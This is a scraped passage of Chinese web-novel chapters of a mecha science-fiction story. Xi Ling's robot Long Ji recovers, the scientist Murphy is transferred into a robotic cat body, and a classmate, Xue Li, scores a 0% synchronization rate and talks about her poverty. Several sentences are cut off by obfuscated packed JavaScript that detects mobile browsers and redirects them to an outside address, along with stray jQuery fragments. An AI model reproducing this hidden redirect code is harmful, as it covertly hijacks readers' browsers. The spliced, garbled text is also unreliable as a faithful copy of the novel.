l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210197|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 嗡—— 起初,那声音微弱如远处的惊雷,可转瞬之间,那声音变得浩大而雄浑,让平静的海水都开始簌簌颤抖。 一道灿金色的光焰从深海中骤然冲破水面,带着漫天飞溅的水花直刺苍穹! 是龙姬! 它周身裹挟着比此前更盛、却全然不同的火焰——那不再是失控时狂乱肆虐的血火,而是如淬炼过的黄金般耀眼的金火,每一缕火苗都顺着机甲苍白的装甲纹路有序流转,像是被赋予了生命的脉络。 太阳是金色的,龙姬也是金色的。 燃烧的龙姬在海水中划出锐利的弧线,推进器喷薄出的热浪瞬间蒸干了附着在装甲上的海水,在半空留下一道转瞬即逝的白色雾痕。 “她……来了!”加西亚的声音在频道里响起,带着难掩的震惊。 萧寒剑驾驶着“凤凰”悬停在半空,机械六翼微微振动,雌狮般的目光紧盯着那道从海中跃起的身影。 龙姬调整姿态,朝着“凤凰”的方向缓缓降落。 它稳稳地停在“凤凰”正前方,双方几乎只有数米之隔,彼此的能源波动在空气中交织,却没有一丝剑拔弩张的紧张。 下一秒,令人震惊的一幕发生了。 在所有人的注视下,龙姬周身的金色火焰像是被无形的力量牵引着,从外向内逐层收敛。苍白的装甲在天光下露出完整的轮廓,狰狞的红色眼灯不知何时已恢复成温和的淡白色,像两颗悬在机甲头部的晨星。 频道里陷入短暂的寂静,只有海风吹过机甲装甲的轻响。 伊甸的机械女声在频道中响起:“主脑控制权完全剥离,龙姬当前的核心指令——已与郗灵的意识完全同步!” 没有人能主动解除暴走! 但是郗灵做到了! 这是足以写入教科书的历史时刻,身为理论课老师的叶厌青,立刻打开便携光脑奋笔疾书。 萧寒剑看着面前彻底平静下来的龙姬,不动声色地放松了紧绷的肩膀。 她打开临时频道的麦克风,对郗灵沉稳地说: “郗灵,确认状态。” 片刻后,一道清晰的女声透过频道传来。 那是消失已久的郗灵的声音,带着刚苏醒的沙哑,却无比坚定: “龙姬当前状态正常,所有失控风险已经解除。” …… 渡鸦盯着浑身插满管子的莱茵:“你还活着吗?” “我还活着,拉文。”莱茵的声音十分温和。 莱茵躺在病床上,各式各样的管子像狰狞的根系,牢牢扎进他的身体里。 昵称“渡鸦”的青年刻意避开了莱茵的视线——连渡鸦自己也说不清,此刻的莱茵究竟是有机生命,还是早已成了半机械化的造物。 联邦“太子”,优绩主义的具象化,万千精英景仰的典范……真是可怜可悲。 “……一个月后的首飞示范,我恐怕无法领衔了,你愿意成为今年的领飞员吗?”莱茵咳嗽两声,鲜血顺着输液管逆流而上,“请你务必不要推辞,如今,我能拜托的人只有你了。” “可以。”渡鸦答,“但你要回答我一个问题。” 莱茵安静片刻:“请讲。” “你是第几个‘太子’?”渡鸦问。 此话一出,莱茵蒙着一层灰翳的眼珠微不可察地颤了颤。 他似乎已经猜到了渡鸦的问题,但当他真的听到这个问题时,他本就黯淡的翡翠色眼眸迅速失去了生机,他在一瞬之间仿佛被判了死刑,变成了一个徒有呼吸的活死人。 渡鸦闭上眼:“……我居然猜对了。” 莱茵沉默不语,失去了所有辩解的力气。 渡鸦仰头盯着点滴瓶中的药水,伸手拧了拧输液阀,放缓了药液滴落的速度。 “我早就猜到了。”他说,“早在……你的第一个‘兄弟’站在我面前的时候。” 莱茵沉默:“……” “你迟早会被你的总统父亲害死!”渡鸦的声音陡然拔高,带着压抑多年的疑惑和愤怒,“到时候,你又该怎么办,莱茵?” 莱茵仍然沉默:“……” 渡鸦深吸一口气。 鲜血沿着细细的输液管缓慢逆流,昭示着病人生命的流逝。渡鸦不再调节输液阀,目光穿过盘根错节的输液管,落在莱茵苍白的脸上。 ——太子就要死了。 ——但太子永远活着。 静坐良久后,渡鸦自知等不到问题的答案,拉下兜帽无声地离开了。 病房里重新变得寂静,唯余医疗仪器运作的“滴滴”声。 莱茵咳嗽两下,直直地盯着雪白的天花板。 “我的生死根本不重要,渡鸦。”他的声音轻得像一缕烟,“维尔莱德死后,我终于等来了……第二颗真正的太阳。” 24. 猫狗论 当郗灵脱离驾驶舱时,她骨折的双臂已经被母液治愈。 但是,因为之前的两次暴走,升温的母液不可避免地烫伤了她的皮肤。 郗灵自己也很难说清楚,到底是之前的自己更惨一点,还是现在的自己更惨一点。 萧寒剑气得像只河豚:“墨菲!这就是你对我承诺的‘这个实验很安全’?” “萧寒剑上将,墨菲暂时无法回答您了。”伊甸说。 郗灵像刚蒸完桑拿一样,坐在地上浑身冒蒸汽。 听到伊甸这句话,她心头不妙的预感顿时冒了出来。 她小声问道:“难道墨菲他……” 为了构建逆向生命方程式,墨菲把自己的算力融入了伊甸。 伊甸曾说,这是个风险极大的操作,墨菲很有可能再也无法与它剥离。 “不,我也说不清这是好事还是坏事。”伊甸化身的星云涌动了一下,“墨菲的自我意识仍然存在,而且就在刚才,他已经成功和我剥离,但是……” 萧寒剑追问:“但是什么?” “墨菲接入了我的主机房,算力大幅提升,他那颗人类的大脑,根本无法承载这样庞大的算力。”伊甸的机械女音蕴含着复杂的情绪,“所以,他再也无法回到自己的身体了。” 郗灵一怔。 而后,她看向墨菲躺在地上的半机械躯体。 那具躯体的意识已经被抽离,斑驳的皮肤和冰冷的械壳相互掺杂,几乎失去了所有人类的特征。 她想起了自己对墨菲问出的第一个问题:你是人类还是铁人? 当时的墨菲给出了简短而坚定的回答:人类。 那么现在呢? 现在的墨菲是人类还是铁人? “按照《联邦法》,墨菲依然是一个人类,他只是暂时无法使用人类的身体了。”伊甸回答,“不过没关系,研究院那边听说这件事后,纷纷自荐要为墨菲打造新的身体,现在已经送过来了。” 郗灵这才发现李安娜不见了。 没过多久,李安娜气喘吁吁地抱着一个箱子跑了回来。 她头上的七八个红发卡晃得跌跌晃晃,脸上满是极力克制的害怕与惊喜,表情因此扭曲成一种奇怪的模样。 能让李安娜又惊又喜的事情……会是什么? 郗灵盯着李安娜手中的快递盒——盒子上贴了好几个封条,寄出地址是研究院,而且是加急快递过来的。 “这是什么?”郗灵问。 “是副院长的新身体!”李安娜说着,便开始拆快递盒。 郗灵的头上冒出了一个问号——这个盒子的大小,完全装不下一具机械人体,哪怕是拆成零件的机械人体也装不下。 随着李安娜拆封条的速度越来越快,郗灵心头的疑惑也越来越重。 两分钟后,李安娜终于拆开最后一道封条,将里面的东西取了出来。 郗灵瞪大双眼盯着李安娜手中的东西,带着滑稽的表情愣住了很久,最后,终是没忍住大笑起来。 研究院加急送来的,居然是一只猫! 这只猫有着逼真柔软的皮毛,皮毛之下,是机械打造的仿生组件。 和“猫”一同送来的,还有一张纸条。 纸条上写道:创造这只猫的组件,是从伊甸的集群湿脑上切割下来的,它与副院长的排异性极小,请副院长放心使用! 连萧寒剑都看乐了:“哈!” 将导管分别插上玻璃罐和仿生猫后,伊甸化身的星云开始涌动,把墨菲的算力与意识剥离出来,传输到猫的身体里。 传输完成后,墨菲睁开了眼。 郗灵看着墨菲——短暂的滞怔后,那张猫脸上骤然浮现出了肝胆俱裂的表情。 “发生了什么?!”墨菲惊惧地问道,“我为什么……变成了这样!” “你变成猫了,博士。”郗灵认真地回答。 “我当然知道自己变成猫了!”墨菲的猫脸上写满了不敢置信,“我是在问——我为什么会变成一只猫!” “因为我们需要你常驻维尔莱德军校。”伊甸的声音适时响起。 墨菲那张浑圆甜美的猫脸瞬间僵住。 他哑声道:“为什么?” “龙姬体内的逆向生命方程式并不完美,二代机甲的研发还任重而道远,因此,军部和研究院必须冰释前嫌。” 伊甸幻化的星云微微蠕动,昭示着它并不平静的状态:“而且,抛开我们与军部的旧怨不谈,你如今80%的身体都已经机械化,几乎与铁人无异——这样的形态,怎么可能在校园里畅行无阻?” 墨菲沉默。 “为了真理,为了联邦,你必须这么做。”伊甸的机械女音带着系统设定好的温柔甜美,可这话落在墨菲耳中,却如同恶魔的低语,“我们会铭记你的牺牲,尤莱亚·墨菲副院长。” 墨菲陷入沉思。 他的猫脑门因过度思索而紧紧皱起,猫爪无意识地抠紧地面,尾巴炸得像朵蓬松的蒲公英。 良久,他抬起猫头,悲凉地看向自己曾经的身体。 曾几何时,他还自诩是纯粹的人类,那时最大的心结,不过是在人类与铁人的身份困境中辗转斡旋。 他不堪重负地闭上猫眼,又深深地、深深地垂下了脑袋。 “我同意。”墨菲沉痛地回答,“但院长,请你务必保存好我的人类身体——哪怕那具身体80%的部位都已经机械化,我体内依然有一颗人类的大脑。” 伊甸没有说话。 “我是人类,是追逐真理的人类,而非被权力、金钱、地位驯化的野兽。”墨菲的猫身发出的声音带着些许机械质感,却与他原本的声线别无二致。 想必研究员们加急赶制这具猫身时,仍然仔细核对过他的每一项声音参数。 在所有人的注视下,墨菲低低地说:“若有朝一日,大业已成,我会结束我的使命,回到……我真正的身体里去。” 墨菲的话带着难以掩饰的沉重,甚至透露着隐晦的死志。 在场的人都沉默了,就连对研究院成见极深的加西亚与叶厌青,也都神情沉凝地盯着墨菲。 良久,伊甸开口了。 “这是我最羡慕你的一点,墨菲。”它说,“你可以轻易地舍弃自己的生命,生命是命运赐予你的、生而有之的事物,所以你能轻易言弃,借此证明自己的世界观或方法论没有出错。” 这话有些晦涩难懂,但墨菲听懂了。 他抬起猫头,直直地盯着玻璃罐中的伊甸。 “而我……一个连生命为何物都不理解的AI,竟然成了你们这群人类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215359|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院长,甚至还在研究我最棘手的课题——生命。”伊甸的声音带着几分自嘲,“总统说得对,距离产生美。你因为拥有生命,所以能舍弃它;我却因为从未拥有过生命,而始终渴望得到它。” “我以为你不愿提起总统。”墨菲说,“在世人眼里,你是靠卑劣手段挤掉主脑上位的献媚者,他们都说,你是总统的狗。” “是吗?你不也是这样吗?”伊甸说,“你讨厌猫塑二创,甚至不惜把整个内网清理了一遍,但你最终还是进入了一具猫身——就像我不得不一次又一次提起那位我必须效忠的总统一样。” “你真厉害。”墨菲冷哼一声。 “彼此彼此。”伊甸毫无波澜。 仿生猫与玻璃罐中的星云对视一眼。 下一秒,二者周身同时涌起一种强烈的情绪,仿佛两个势均力敌的对手,终于放下了指向彼此的刀剑,转而将武器齐齐对准了他们共同的敌人。 “喵。”墨菲说。 “汪。”伊甸说。 在场的所有人:“…………” 这就是人均拥有四个博士学位的精英研究员之间的对话吗? 第二次二代机甲测试有惊无险地结束了。 伊甸与李安娜带着“完善逆向生命方程式”的使命返回了研究院,而墨菲则以“猫”的外表留在了维尔莱德军校。 郗灵此前手臂骨折,无需参加体能训练,但晚上的理论课仍然要按时参加。 理论课的老师是叶厌青。 他推着一台模拟驾驶舱走进大教室,辛苦训练了一整天的新生们瞬间变得兴奋了起来。 雪理坐在郗灵身边,怀里抱着猫咪形态的墨菲。 “喵。”墨菲说。 研究员们为这具猫身设计了两套发音系统,一套能说出人类的语言,一套能发出猫的叫声。 为了避免不必要的麻烦,墨菲从不在无关人士面前口吐人言。 郗灵的耳朵上挂着一副小巧的耳麦。 这是研究院加急送来的第二件快递,功能是将墨菲的神经谐波翻译成声音,通过耳麦单独传递给郗灵。 在雪理耳中,这只猫只是发出了一声柔软的猫叫。但在郗灵耳中,墨菲正在对她进行全方面的批判。 “你的通用语学习进度现在还停留在‘abandon’?”耳麦中,墨菲恨铁不成钢地说,“郗灵,你是个聪明的学生,为什么不把精力用在学习上?” 郗灵:“……” 为什么每个老师都喜欢讲这句话? “同学们,我们的进度已经开始落后了。”叶厌青走上讲台,双手撑在讲台上。 郗灵:“……” 又是一句很耳熟的话呢。 “理论必须结合实践,所以我申请了这台模拟驾驶舱。”叶厌青刷新电子黑板,开始板书,“本节课结束后,表现优秀的学生可以进去体验一下。现在,请大家翻开课本第一页。” 雪理听话地翻开课本第一页。 郗灵对着那本砖头厚的课本沉默片刻,头皮发麻地翻开了第一页。 “我看不懂!”刚扫了一眼,郗灵就痛苦地皱起了脸,“这上面的内容怎么这么难啊!” “这很难吗,abandon小姐?”墨菲讥诮地说。 郗灵:“……” 25. 同步率 “这本书其实很实用。”雪理突然说。 雪理个头娇小,眼珠幽蓝,坐在郗灵旁边好似一个玻璃玩偶。 她依照目录,跳着页码把那本砖头厚的教科书简略翻看了一遍,而后,她对上郗灵满脸问号的表情,又轻轻地重复了一遍:“这本书其实很实用。” 墨菲跳到桌子上,蜷缩成了一个猫球。 郗灵凭着贫瘠的通用语词汇储备看了一遍目录,但上面的专业词汇太多了,郗灵能看懂的地方实在不多。 她诚恳地请教:“为什么?实用的书不应该越薄越好吗?” 雪理纤细的指尖滑过目录,将一大半内容划了出来:“从这里到这里,全都是驾驶机甲的注意事项——这些才是全书真正的核心,在内容里占比60%,这样的比例已经很高了。” 郗灵还是没太明白。 雪理安静地盯了郗灵一会儿,忽然露出个浅浅的笑:“你不是中央星人。” 郗灵:“……” 这话是什么意思? 雪理自然地拿过郗灵的教科书,又拿起荧光笔,在书上一行行地勾出重点。 她说:“中央星人从胎教就开始内卷,但全民内卷的后果就是催生出无数学术垃圾。这是今年最新版的教科书,和第一版教材相比,上面的很多内容都是为了创新而创新……但我为什么说这本教材很实用呢?因为今年的学术垃圾比去年的更好。” 郗灵沉默。 军训期间,新生们白天训练,晚上上课。 和全程听天书的郗灵截然相反,被太阳晒了一整天的其他新生们,对枯燥的理论课堂反而适应良好。 其中,表现最突出的是雪理。 她在叶厌青的课堂上可以说如鱼得水,不仅能够举一反三,还能对叶厌青提出的理论旁征博引。 今年的新生都是高分考进来的联邦精英,但雪理的表现让所有人都留下了“这是个大学霸”的印象。 下课铃响起,叶厌青合上书:“雪理,你来体验一下模拟驾驶舱吧。” 郗灵正抱着教材,对着雪理为她画出的重点埋头苦读。 闻言,她用胳膊肘轻轻撞了撞雪理:“快去吧!” 但雪理没有立刻起身。 她的指尖不着痕迹地抚过衣领下的银白瘢痕,又深吸一口气,满脸凝重地来到模拟驾驶舱面前。 墨菲跳到了郗灵的肩膀上:“……这小姑娘不对劲。” 墨菲的动作引起了其他学生的注意。 在一片“看,是猫诶”的惊呼声中,墨菲的仿生肉掌抓紧了郗灵的肩膀,通过耳麦对郗灵低声说:“你的力气可以掰开模拟驾驶舱的舱门吗?” 郗灵听到墨菲的话,心头微微一顿。 下一秒,她收起了所有玩笑的神色,眼睛直直地盯着雪理的身影。 在叶厌青的指导下,雪理已经坐进了模拟驾驶舱,此时,大开的舱门正在从两侧缓缓合上。 “你的意思是,一会儿可能要出意外?”郗灵压低声音。 “看到她脖子上的机化瘢痕了吗?” “嗯,看到了。” “一般来说,有机化症病史的人绝不可能被军校录取,因为一旦得病,无机士兵的活性微粒会在病人体内永久性寄生。”墨菲解释道,“军校培养的是未来的军人,而得过机化症的军人会成为机械帝皇的生化端口,让机化症在战场上大量爆发。” 郗灵盯着模拟驾驶舱,那向两侧分开的舱门已经完全合上了:“那么雪理呢?” “那个小姑娘身上没有活性微粒,她的机化症不是因为无机士兵才得上的。”墨菲轻声说。 他沉静的猫瞳盯着驾驶舱舱门上的透明小窗,小窗之下,是雪理那张玻璃般苍白的脸庞。 “三年前,主脑失控,所有一代机甲体内的生命方程式被强行逆转。”墨菲微微闭眼,这实在是一件不堪回首的往事,“但这是一次极其失败的逆转,有机生命开始向无机生命转化,大量军人和军校生因此患上了机化症,军部从此……变得青黄不接。” 郗灵沉默不语。 她紧盯着模拟驾驶舱。 那是一代机甲的模拟驾驶舱,里面没有淡琥珀色的母液,而是有着一个复杂的机械控制台。 雪理在驾驶舱中犹豫了很久,迟迟没有启动模拟驾驶功能,似乎对自己接下来可能遭遇的变故心知肚明。 叶厌青安静地看着驾驶舱中的雪理,又低头看向手中的花名册。 花名册上,两个名字被他重重地圈了出来。 一个是郗灵,备注:此人档案绝密,疑似来自研究院。 另一个是雪理,备注:“主脑失控”事件受害者,疑似……非法改造机甲。 新生们哄闹起来:“开呀!开呀!” 雪理深吸一口气,按下了点火按钮。 能源回路在驾驶舱表面的纹路上流转,内嵌的机甲系统也随之激活。 一代机甲可以实时显示同步率,所有人不约而同地看向驾驶舱外侧的数值显示屏。 显示屏上的数字开始变化、扭曲,当数字定格之时,就是同步率结果出炉之时。 郗灵一点点攥紧了拳头。 墨菲的猫爪抠进了郗灵肩膀处的衣服。 叶厌青屏气凝神,一眨不眨地盯着显示屏。 但显示屏突然黑屏了一下。 嗡—— 在所有人疑惑的注视下,驾驶舱舱门在泄压声中缓缓打开。 雪理沉默地坐在里面,脸上带着劫后余生的惊喜,和新的达摩克利斯之剑即将从头顶落下的惶然。 郗灵盯着显示屏上的数字,而后,脸上流露出一丝惊愕。 叶厌青吐出一口气,将花名册上有关雪理的备注轻轻划去。 “你的同步率是0%,雪理。”叶厌青看着驾驶舱中的雪理,说道。 这个娇小的少女甚至坐不满身下的座位,当叶厌青说出那句审判一般的宣告时,她的表情一瞬间像玻璃一样脆弱。 新生们惋惜地议论起来: “0%……她一定去不了天空校区了。” “虽然很为她惋惜,但是,少了这样一个强劲的对手,我居然莫名其妙松了一口气。” “太可惜了,真是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232586|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜了。” 雪理的脸色肉眼可见地苍白了,她淹没在同学们的议论声中,蓝眼睛不复鲜活的神采,取而代之的是落败者的黯淡和颓然。 是夜,新生们依然睡在操场上的胶囊舱中。 雪理自从下课后就失魂落魄,郗灵因为担心雪理而辗转难眠,最终偷偷爬出胶囊舱,打算看一看雪理的情况。 郗灵敲了敲雪理的胶囊舱,见里面的人没有反应,犹豫片刻后,掀开盖子钻了进去。 雪理大睁着双眼,直直地盯着胶囊舱顶盖。 见郗灵钻进来,雪理的眼珠动了动,微微偏头看向郗灵:“是你?” “要出去兜兜风吗?”郗灵笑眯眯地问。 雪理没有反应过来:“……去哪里兜风?” 郗灵指了指上方:“天上。” * 郗灵驾驶龙姬,飞行在苍茫的夜空中。 龙姬背部的机械六翼在微凉的气流中小弧度振动,尾部推进器划出一道长长的艳丽尾焰,如同星轨一般。 雪理心跳得怦怦作响,紧攥着拳头坐在龙姬的掌心中。 当龙姬攀升到一定高度后,那双合拢的铁掌缓缓打开,迷人的夜色便映入了郗灵和雪理的眼底。 中央星是一颗繁荣的星球,同时也是联邦的枢纽和心脏。 当夜幕降临,数亿盏霓虹灯骤然亮起,仿佛将天上的星星偷到了地上。 墨菲胆战心惊地坐在雪理身边,实在没料到郗灵居然敢这样带人飞行。 “你简直是胆大妄为!”墨菲连背毛都炸起来了,“如果出了任何意外,这个蓝眼睛的小姑娘会直接摔成一滩肉泥的!” 雪理无所谓地摇了摇头:“没关系。” 墨菲:“……” 雪理歪着头回味了一下:“猫为什么会说话?” 墨菲:“…………” 墨菲闭麦了。 郗灵浸泡在充满母液的驾驶舱中,透过驾驶屏幕看着掌心里的雪理:“这样子兜风,你喜欢吗?” “喜欢。”雪理露出笑容。 几秒后,她似乎回忆起了什么,收起脸上的笑意,整个人蜷坐成小小一团:“……不,我不喜欢。” “为什么?”郗灵轻声问。 “我的同步率是0%,我是无法驾驶机甲的废物。”雪理的声音又轻又弱,风一吹就散了,“而且,就算我可以留在地面校区,去选择那些不需要驾驶机甲的专业,我也不会留下来的。” 郗灵沉默了。 她知道,这个决定也许牵扯着雪理的往事,又或者和雪理内心的骄傲有关,总之,她不应该继续追问下去了。 但雪理打开了话匣子。 “我是雪家的第三个女儿,我的妈妈是父亲的第四个妻子。”少女轻声道,“在我有记忆之前,妈妈已经因病去世,我只能根据她留下的影像和照片来想象她。” “雪家?做机甲生意的那个雪家?”墨菲对“雪”这个姓氏十分熟悉,“你的父亲曾经和研究院短暂合作过,却中途撕毁了合同,强行终止了合作——他的名字现在还在研究院的黑名单上。” 26. 教育 “雪家已经破产了,撕毁研究院的合同,需要支付的违约金可是一笔天文数字。”雪理淡淡地回答。 墨菲只用一句话,就挑开了雪理的伤疤。 郗灵陷入了沉默,她心想,落地之后,一定要找个机会收拾墨菲一顿。 墨菲也陷入了沉默,他此前显然没有关心过雪家的现状,偏偏他的情商正好卡在一个不上不下的水平——即刚说出伤人的话,就立刻意识到不该说。 但雪理的状态十分平静,平静得好像在讨论和她无关的事。 “破产后,我的母亲因病去世,父亲也整天借酒消愁。”雪理深吸一口气,道,“但可笑的是,撕毁合同明明是父亲自己做下的决定,但他始终觉得,他才是全家最无辜的人。” “我是雪家最小的孩子,我的两个姐姐都已经成年了,她们能够自己养活自己。但我不行,我必须和父亲生活在一起。” “中央星对童工查得很严,但我十二岁就开始打工了,因为父亲不打算让我继续读书。” “高考成绩出来后,我想了很久,才决定要读军校——成为军校生后,吃穿住行都由联邦报销,我只需要支付学费;而且,毕业后,我可以成为军团的士兵,彻底远离那个充满酒气的家。” “我本来想申请位置更远的军校,比如第三扇区的龙枪,或者第六扇区的阿瑞斯,但去其他扇区的船票太贵了,我买不起。我攒下来的钱只够支付助学贷款的利息,我只能选择维尔莱德。” “但可笑的是,我的同步率竟然是0%,我其实根本没有选择,我在哪里都不能留下。” 雪理的体型十分娇小,她木木地蜷坐在龙姬的掌心中,夜风拂过她的发丝,她的脸上没有一丝表情,好像已经把这些话在心中咀嚼了无数遍。 郗灵安静片刻。 她意识到,雪理的情绪和思路走进了牛角尖,这个看似绝望的难题并非无解。 但她必须首先搞清楚一些常识性的问题。 郗灵操纵龙姬,用指尖戳了戳墨菲。 她的声音压得极低:“龙枪和阿瑞斯是什么?助学贷款又是什么?” 研究院友情赠送的耳麦无法在母液中工作,她只能这么询问墨菲。 不然,她一定不会让雪理听到他们的对话。 “联邦顶尖的军校一共有五所,分别是维尔莱德,圣罗兰,龙枪,银鹰和阿瑞斯。其中,龙枪和阿瑞斯的学费最便宜,对家境普通的学生十分友好。”墨菲对郗灵解释道,“至于助学贷款么……联邦大学的学费一向高昂,连很多中产家庭都难以支撑。” 墨菲使用了一部分郗灵的母语,郗灵因此很顺畅地听懂了。 但她的心中萌生出更多的不解:“可是,还有那些收入更低的家庭呢?那些家庭的孩子呢,他们难道就不用读书了吗?” “那些孩子,绝大部分只需要拿到一张高中文凭,就能做好他们未来的工作了,比如超市的收银员,或者餐厅的服务员。”墨菲回答。 “那么,那些有天分的孩子呢?”郗灵锲而不舍地追问。 她的语气带着浓重的疑惑和不甘:“总有这样的孩子,他的成绩可以考上大学,但他又付不起学费,他又该怎么办呢?” “他可以申请助学贷款——如果他能够申请到贷款的话。”墨菲的尾巴尖甩了甩。 他顶着一张浑圆可爱的猫脸,却说出了无比残忍的话:“最理想的情况是,他幸运地申请到了贷款,拿到了毕业证书,并且得到了一份理想的工作,成为了一位受人尊敬的医生或律师。不然的话,如果他的父母是农民,他大概率也只能是一个农民。他能做出的最大挣扎,就是买一张掏空家底的船票,从第十扇区跑到第五扇区,成为一个城市里的‘农民’——也就是一个收银员或者服务员。” 郗灵彻底沉默了。 她没有参加过联邦的考试,更没有操心过学费的问题,她只是因为萧寒剑上将希望她多读书,所以才进入了维尔莱德军校。 在她的潜意识里,她以为,接受教育是一件理所当然的事情。 联邦如此强盛,青年又是联邦的未来,青年本来就应该接受最好的教育。 况且,知识并非私有,而是公有,如果学费如此高昂,知识怎么能够一代又一代地传承下去呢? 但墨菲和雪理都在告诉郗灵——读书,是一件很奢侈的事情。 郗灵觉得不可思议,也对此不敢置信。 她以为,自己的不幸只是一种少数现象,战争并未波及到第七扇区以外的地方,联邦的大部分公民都可以生活得很幸福。 但今天,她通过雪理知道了一件事情。 ——联邦公民或许没有经历过战争,但他们承受着同等的痛苦。 他们被收割走了向上奋斗的希望。 就像鸡的作用是下蛋,狗的作用是看家,骡子的作用是拉磨一样,他们被联邦框死在了属于自己的“身份”里。 每个人都无法打破自己的身份,即使有极少数人成功打破,也需要押上自己所有的财富、勇气和好运。 好半天,郗灵才找回了自己的声音。 她说:“这不公平。” “公平是一个伪命题,郗灵。”墨菲怜悯地看着龙姬的眼灯,似乎透过那双眼灯,凝视着郗灵充满迷惘的眼睛,“你可能会觉得,我是一个冷酷又残忍的人。但我只是说了实话。这个联邦就是这副样子,除非你可以改变它,不然,你就只能忍受它。” “你不是一个冷酷又残忍的人。”雪理突然打断道。 墨菲的猫脸颤了颤,冷哼一声道:“不,我就是一个冷酷又残忍的人。” “你的确冷酷又残忍。”雪理理性地指正,“但我想说的是,你不是一个人,你是一只猫。” 墨菲:“……” 郗灵:“……” “我已经想好了,我应该留在地面校区,即使不能驾驶机甲,我也可以成为一个地勤员,或者一个科研人员。”雪理的声音依然冷静,但郗灵却听出了认命的意味,“只要毕业后可以自己养活自己,我父亲的烂事就不该成为我人生的困扰,我是独立的,我是自由的,我不应该继续活在他的阴影里。” 雪理用力地强调着这个观点,但说话时,她的身子一直在微微颤抖。 郗灵意识到,驾驶机甲可能并非雪理逃离父亲的手段,而是……她的梦想。 但是,0%的同步率…… “墨菲。” “嗯?” “同步率到底是什么东西?”郗灵认真地问道。 墨菲:“……” 墨菲:“叶厌青中校的课,你是一点都没听进去对吧?” “同步率,指机甲师与机甲二者之间的协调度和适配度。”优等生雪理给出了回答,“机甲师通过驾驶系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232587|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统控制机甲,这是一种机械的操作,但因为未知的原因,每名机甲师的操作反馈到机甲上,都会出现不同程度的延迟。因此,学术界诞生出‘同步率’这一概念——同步率越高,机甲的延迟就越低。” 郗灵问道:“联邦有那么多台机甲,难道说,你和每台机甲的同步率,都会是0%吗?” “你又没好好听课!”墨菲的表情写满了“朽木不可雕也”的愤怒。 郗灵:“……” “联邦所有生物机甲都携带着原型机——‘白星’的遗传物质。研究表明,它们的生命体征和基因数据表现出惊人的相似性。”优等生雪理再次解围,“所以,我和每一台机甲的同步率都是相同的,这个误差不会超过2%。” “如果你和某一台机甲的同步率达到了2%呢?”郗灵锲而不舍地追问。 雪理:“……” 雪理:“2%的同步率能做什么?连让机甲动起来都做不到。” “墨菲。”郗灵道。 她的心里冒出了一个想法——这可能不是最好的办法,但是这是她能想到的、唯一的办法。 墨菲抬起头:“怎么了?” “你知道,我为什么加入维尔莱德吧?”郗灵引导地问道。 雪理疑惑地看向墨菲,蓝眼睛里闪过一丝思索。 墨菲的背毛一点点炸了起来,变成了一颗毛绒绒的大绒球。 他盯着龙姬的眼灯,心中冒出不妙的预感。 这个不按常理出牌的家伙,总能干出让人跌掉下巴的大事。 他还记得被郗灵卸掉脑袋的滋味——咔嚓一声,清脆无比,他的身首就分了家。 墨菲没有回答郗灵的问题。 他警觉地问:“你想干什么?” “雪理说,联邦所有机甲都是‘白星’的翻版,但龙姬和它们不一样。”郗灵果然语不惊人死不休,“所以,你可以再造一台龙姬这样的机甲吗?” 龙姬本来稳健地翱翔在高天之上,听到郗灵的话,它的推进器猛地熄火了一瞬,整台机甲在空中划出一个优美的弧形,又赶紧点燃推进器,踉跄地攀升回了原来的飞行高度。 雪理差点翻滚出龙姬的掌心,体型更小的墨菲更是直接滚了出去。 雪理眼疾手快,半个身子探出机械手掌的边缘,牢牢地抓住了墨菲的尾巴,又用力向后仰倒,把墨菲从死亡边缘拽了回来。 墨菲惊魂未定,雪理气喘吁吁。 更刺激的事情墨菲并不是没有经历过,但他打死也不愿意死在一具仿生猫的身体里。 郗灵听着龙姬气鼓鼓的心跳声:“你的醋劲怎么这么大?” 龙姬:“嗡!” “等等,那是什么?”墨菲眼尖地发现了一枚机甲钮,因为雪理刚才的剧烈动作,它正咕噜噜从雪理身上滚落,“你有自己的机甲?” 雪理脸色一白。 郗灵发现了不对劲,因为她根本没有察觉到雪理那枚机甲钮的存在。 在她的认知里,机甲是活的,即使里面的生命体封印在机甲钮中,也会发出飞鸟振翅一般的窸窣动静。 她打开虚虚覆盖在雪理头顶的另一只机械手掌,借助驾驶视野,仔细地端详那枚滚落出来的机甲钮。 墨菲也发现了不对劲:“它是死的。” “不,它只是睡着了。”郗灵看着这枚机甲钮,“它……还活着。” 27. 刺头 而且,这枚机甲钮一点也不简单。 